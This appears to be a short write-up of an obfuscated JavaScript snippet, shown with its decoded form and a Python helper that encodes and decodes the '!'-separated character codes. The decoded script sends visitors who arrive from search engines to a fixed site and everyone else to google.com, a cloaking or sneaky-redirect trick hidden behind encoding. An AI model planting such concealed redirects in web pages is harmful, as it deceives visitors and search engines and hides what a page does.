A Clever JavaScript Redirect

<script LANGUAGE="JavaScript">
 
<!--
 
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!62!13!10!102!117!110!99!116!105!111!110!32!82!40!41!123!13!10!118!97!114!32!82!101!102!61!100!111!99!117!109!101!110!116!46!114!101!102!101!114!114!101!114!59!13!10!32!13!10!105!102!32!40!82!101!102!46!105!110!100!101!120!79!102!40!39!46!103!111!111!103!108!101!46!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!46!109!115!110!46!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!46!121!97!104!111!111!46!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!46!97!111!108!46!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!46!97!115!107!46!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!114!101!115!117!108!116!115!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!115!101!97!114!99!104!39!41!33!61!45!49!32!124!124!32!82!101!102!46!105!110!100!101!120!79!102!40!39!115!117!99!104!101!39!41!33!61!45!49!41!13!10!32!123!32!100!111!99!117!109!101!110!116!46!119!114!105!116!101!40!39!60!115!99!114!105!112!116!32!108!97!110!103!117!97!103!101!61!34!106!97!118!97!115!99!114!105!112!116!34!62!119!105!110!100!111!39!43!39!119!46!108!111!99!97!116!105!111!110!61!34!104!116!116!112!58!47!47!119!119!119!46!100!97!118!105!100!110!97!121!108!111!114!46!99!111!46!117!107!34!60!47!115!39!43!39!99!114!105!112!116!62!39!41!125!13!10!13!10!101!108!115!101!32!123!13!10!100!111!99!117!109!101!110!116!46!119!114!105!116!101!40!39!60!115!99!114!105!112!116!32!108!97!110!103!117!97!103!101!61!34!106!97!118!97!115!99!114!105!112!116!34!62!119!105!110!100!111!39!43!39!119!46!108!111!99!97!116!105!111!110!61!34!104!116!116!112!58!47!47!119!119!119!46!103!111!111!103!108!101!46!99!111!109!34!60!47!115!39!43!39!99!114!105!112!116!62!39!41!13!10!125!13!10!125!13!10!32!13!10!82!40!41!59!13!10!32!13!10!60!47!83!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
 
//-->
 
</script><script LANGUAGE="JavaScript">
 
<!--
 
Decode();
 
//-->
 
</script>

<script>
function R(){
var Ref=document.referrer;
 
if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.msn.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('results')!=-1 || Ref.indexOf('search')!=-1 || Ref.indexOf('suche')!=-1)
 { document.write('</script><script language="javascript">windo'+'w.location="http://www.davidnaylor.co.uk"')}
 
else {
document.write('</script><script language="javascript">windo'+'w.location="http://www.google.com"')
}
}
 
R();
 
</script>

def encode(s):
	o = ""
	for c in s:
		o += str(ord(c))+"!"
	return o
 
def decode(s):
	return "".join(map(chr, map(int, s[:-1].split("!"))))
 
assert decode(encode("foo")) == "foo"